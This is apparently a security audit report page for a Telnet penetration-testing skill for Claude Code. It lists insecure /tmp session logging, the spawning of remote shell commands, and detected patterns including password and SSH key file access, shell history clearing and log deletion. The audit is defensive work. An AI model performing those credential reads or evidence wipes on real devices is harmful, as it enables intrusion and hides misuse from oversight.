The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:39. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
--logfile /tmp/session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:88. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
tail -f /tmp/session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:92. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
--logfile, -l FILE Log all I/O to file (default: /tmp/telnet_session.log)
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:116. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
LOGFILE="/tmp/telnet_session.log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:147. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
**IMPORTANT FOR CLAUDE CODE**: When using this skill, ALWAYS include `--logfile /tmp/telnet_session.
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:175. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
- **Logging**: `/tmp/telnet_session.log` by default
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:184. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
1. **Always log your session**: Default logfile is `/tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:463. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
--logfile /tmp/camera_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:518. Logs can contain commands, responses, credentials, and sensitive target data.
High
Process spawn
self.conn = pexpect.spawn(cmd, timeout=self.timeout, encoding='utf-8')
The helper spawns the local Telnet client for a user-selected host and then sends arbitrary remote shell commands. This is the skill's active execution boundary.
High
Temp directory access
parser.add_argument('--logfile', '-l', type=str, default='/tmp/telnet_session.log',
The skill uses a predictable shared /tmp path for complete Telnet transcripts at telnet_helper.py:396. Logs can contain commands, responses, credentials, and sensitive target data.
High
Temp directory access
help='Log all I/O to file (default: /tmp/telnet_session.log)')
The skill uses a predictable shared /tmp path for complete Telnet transcripts at telnet_helper.py:397. Logs can contain commands, responses, credentials, and sensitive target data.
High
Python file write/append
self.logfile_handle = open(logfile, 'a', buffering=1) # Line buffered
The helper appends sensitive session traffic to a caller-selected path without secure creation or permission enforcement. Privileged use permits symlink and file-target abuse.
Risk Factors
📁 Filesystem access (50)
enum_files.txt:41 enum_files.txt:42 enum_files.txt:41 enum_files.txt:42 enum_network.txt:6 enum_network.txt:10 enum_network.txt:22 enum_network.txt:26 enum_network.txt:33 enum_security.txt:20 enum_security.txt:23 enum_security.txt:26 enum_security.txt:29 enum_security.txt:32 enum_security.txt:35 enum_security.txt:38 enum_security.txt:39 enum_security.txt:40 enum_security.txt:41 enum_security.txt:44 enum_security.txt:45 enum_security.txt:54 enum_system.txt:6 enum_system.txt:10 enum_system.txt:11 enum_system.txt:16 enum_system.txt:28 enum_system.txt:32 enum_system.txt:36 enum_system.txt:37 enum_system.txt:40 examples.md:261 examples.md:262 examples.md:263 examples.md:264 examples.md:265 examples.md:50 examples.md:126 examples.md:211 examples.md:429 examples.md:430 examples.md:166 examples.md:174 examples.md:175 examples.md:176 examples.md:177 examples.md:178 examples.md:179 examples.md:197 examples.md:352
⚙️ External commands (50)
enum_security.txt:53 examples.md:120 examples.md:307 examples.md:340 examples.md:358 examples.md:404 examples.md:438 examples.md:111 examples.md:274 examples.md:399 OBSERVING_SESSIONS.md:182 OBSERVING_SESSIONS.md:222 OBSERVING_SESSIONS.md:270 SKILL.md:12 SKILL.md:13 SKILL.md:18 SKILL.md:22 SKILL.md:25-28 SKILL.md:28-39 SKILL.md:39-46 SKILL.md:46-48 SKILL.md:48-51 SKILL.md:51-53 SKILL.md:53-56 SKILL.md:56-58 SKILL.md:58-61 SKILL.md:61-63 SKILL.md:63-66 SKILL.md:66-70 SKILL.md:70-73 SKILL.md:73-75 SKILL.md:75-78 SKILL.md:78-80 SKILL.md:80-83 SKILL.md:83-93 SKILL.md:93-95 SKILL.md:95-101 SKILL.md:101-118 SKILL.md:118-124 SKILL.md:124-136 SKILL.md:136-142 SKILL.md:142-173 SKILL.md:173-175 SKILL.md:175 SKILL.md:182-183 SKILL.md:183-184 SKILL.md:184-197 SKILL.md:197-208 SKILL.md:208-217 SKILL.md:217-228
🌐 Network access (50)
examples.md:244 examples.md:25 examples.md:38 examples.md:56 examples.md:69 examples.md:151 examples.md:163 examples.md:183 examples.md:194 examples.md:209 examples.md:228 examples.md:231 examples.md:239 examples.md:244 examples.md:258 examples.md:279 examples.md:293 examples.md:305 examples.md:306 examples.md:311 examples.md:325 examples.md:349 examples.md:356 examples.md:371 examples.md:391 examples.md:466 examples.md:491 examples.md:502 examples.md:513 OBSERVING_SESSIONS.md:34 OBSERVING_SESSIONS.md:56 OBSERVING_SESSIONS.md:80 OBSERVING_SESSIONS.md:99 OBSERVING_SESSIONS.md:117 OBSERVING_SESSIONS.md:119 OBSERVING_SESSIONS.md:120 OBSERVING_SESSIONS.md:186 OBSERVING_SESSIONS.md:202 OBSERVING_SESSIONS.md:208 OBSERVING_SESSIONS.md:273 SKILL.md:244 SKILL.md:406 SKILL.md:537 SKILL.md:538 SKILL.md:47 SKILL.md:52 SKILL.md:57 SKILL.md:62 SKILL.md:69 SKILL.md:74
Detected Patterns
System reconnaissance×21Network reconnaissance×14SSH private key fileSystem password file access×9Sudoers file access×2SSH directory access×5Malware type keywords×4Shell history clearingLog file deletion
Audited by: codex View Audit History →
Share & cite this report
Share the versioned assessment report, neutral badge, embed card, and citations. Skillstore reports evidence without deciding whether this Skill is safe.
Copy report link
https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown badge
[](https://skillstore.io/skills/brownfinesecurity-telnetshell?utm_source=security_passport_badge)HTML badge
<a href="https://skillstore.io/skills/brownfinesecurity-telnetshell?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/brownfinesecurity-telnetshell/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Embed card
<iframe src="https://skillstore.io/embed/skills/brownfinesecurity-telnetshell.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Academic citations (APA · BibTeX · CFF)
APA citation
BrownFineSecurity. (2026). telnetshell security audit report (audit version 9) [Author version unspecified]. Skillstore. https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9BibTeX citation
@techreport{brownfinesecurity-brownfinesecurity-telnetshell-2026,
author = {BrownFineSecurity},
title = {telnetshell security audit report (audit version 9)},
institution = {Skillstore},
year = {2026},
number = {9},
url = {https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "telnetshell security audit report (audit version 9)"
version: "unspecified"
type: report
authors:
- name: "BrownFineSecurity"
date-released: "2026-07-23"
url: "https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9"
identifiers:
- type: other
value: "skillstore:brownfinesecurity-telnetshell:audit:9"
description: "Skillstore immutable audit report identifier"
Skillstore Score
Why this score Evidence Confidence: Medium 55
Architecture
85
Maintainability
87
Content
70
Community
78
Spec Compliance
What You Can Build
Inventory a Lab Device
Collect read-only operating system, storage, and network details from an authorized IoT test device.
Debug an Embedded Shell
Run repeatable BusyBox diagnostics while preserving a complete session transcript.
Document an Authorized Assessment
Capture scoped Telnet commands and cleaned responses for a penetration test report.
Try These Prompts
Identify a Device
Connect to my authorized lab device at [HOST]:[PORT]. Run read-only identity checks, log securely, and stop if authentication is required.
Review Network State
On authorized target [HOST], collect interfaces, routes, and listening services. Use read-only commands and summarize unexpected exposure.
Assess Permissions
Inspect authorized target [HOST] for risky permissions and exposed service configuration. Do not read secret values or modify files.
Plan a Controlled Audit
Prepare a phased assessment for [HOST]. Show every proposed command, enforce my scope, and request confirmation before sensitive or modifying actions.
Best Practices
- Confirm written authorization, exact targets, approved ports, and permitted commands before connecting.
- Review every command and require confirmation before reading secrets, changing files, or scanning neighboring systems.
- Store transcripts in a private directory with restrictive permissions and redact credentials before sharing.
Avoid
- Do not connect to public or third-party devices without explicit authorization.
- Do not install persistence, clear history, delete logs, or remove evidence.
- Do not store sensitive sessions in a shared predictable temporary file.
Frequently Asked Questions
Do I need authorization to use this skill?
Yes. Only use it on devices you own or have explicit written permission to test.
Does the helper automate login credentials?
No. It detects login prompts, but it has no username or password options.
Is Telnet traffic encrypted?
No. Telnet sends traffic without encryption. Use an isolated network and avoid real credentials.
What software is required?
You need Python 3, pexpect, a local Telnet client, and network access to the approved target.
Where are session logs stored?
The helper defaults to a shared temporary path. Choose a private path with restrictive permissions for sensitive work.
Can the included commands modify a device?
Yes. Examples cover persistence, extraction, and cleanup, so review every command and require confirmation before execution.
Developer Details
Author
BrownFineSecurityLicense
MIT
Skillstore revision
r2
Version notice
The author did not declare a version.
Ref
a39a91716eadede5f4cdefd78178fed4e837a128
Maintenance freshness
7/24/2026
Usage
9 downloads · 190 views
File structure